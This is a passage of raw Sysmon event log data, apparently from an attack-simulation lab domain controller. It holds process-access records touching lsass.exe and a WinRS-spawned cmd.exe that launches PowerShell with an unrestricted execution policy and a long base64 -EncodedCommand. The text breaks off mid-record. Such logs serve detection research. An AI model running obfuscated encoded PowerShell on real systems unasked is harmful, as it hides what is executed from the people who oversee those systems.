WQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000002759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28F7-5F80-8200-000000007F01}50525072C:\Windows\system32\conhost.exe{A5F018FF-28F7-5F80-8300-000000007F01}5116C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8300-000000007F01}5116C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28F7-5F80-8100-000000007F01}50405096C:\Windows\system32\WinrsHost.exe{A5F018FF-28F7-5F80-8300-000000007F01}5116C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000002746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.296{A5F018FF-28F7-5F80-8300-000000007F01}5116C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F7-5F80-B1E0-040000000000}0x4e0b10HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000002745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.275{A5F018FF-28BF-5F80-1300-000000007F01}12641944C:\Windows\system32\svchost.exe{A5F018FF-28F7-5F80-8100-000000007F01}5040C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+